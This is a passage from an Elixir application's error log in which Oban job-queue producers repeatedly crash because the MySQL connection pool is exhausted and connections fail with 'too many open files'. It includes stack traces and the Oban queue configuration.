"mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.57080>, refresh_timer: #Reference<0.2525715032.1077673987.57079>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:49:42.240755Z], limit: 3, uuid: "8a6809c6-6996-4b86-9a99-7f4c2ebc3c7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:42.240760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224284>, refresh_timer: #Reference<0.2525715032.1121189889.224263>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:49:54.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:54.531000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:55.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:56.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:49:58.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:02.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:03.313000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:04.486000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:05.285000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:05.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:06.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1055ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:49:54.239650Z], limit: 5, uuid: "f3f38415-d471-44c2-a86e-9f4bc451dee9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.239654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81838>, refresh_timer: #Reference<0.2525715032.1068498948.81789>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:49:54.239959Z], limit: 5, uuid: "ac8b1f3a-aa5f-4ec0-9180-8175b495ad46", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.239964Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224596>, refresh_timer: #Reference<0.2525715032.1068498948.81800>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:49:54.241912Z], limit: 3, uuid: "5899356f-940f-4cdb-923f-820ea5cb0557", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.241918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81840>, refresh_timer: #Reference<0.2525715032.1068498948.81828>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:49:54.240099Z], limit: 10, uuid: "205db6b7-5bdc-4a74-800c-a507f39b72e3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.240104Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81837>, refresh_timer: #Reference<0.2525715032.1068498948.81815>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:49:54.239587Z], limit: 50, uuid: "65ced7b4-9ec8-487a-95d9-201b90160551", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.239594Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.81839>, refresh_timer: #Reference<0.2525715032.1068498948.81786>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:49:54.240273Z], limit: 20, uuid: "a733e4a6-0560-4c32-8122-87d01dfce706", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:49:54.240278Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224595>, refresh_timer: #Reference<0.2525715032.1121189889.224583>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:14.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:15.336000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:15.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:17.539000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:50:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:50:06.240061Z], limit: 5, uuid: "573a6e4b-9ece-4891-9627-cd6a7a3110fd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:50:06.240066Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.224987>, refresh_timer: #Reference<0.2525715032.1068498948.82053>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:50:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
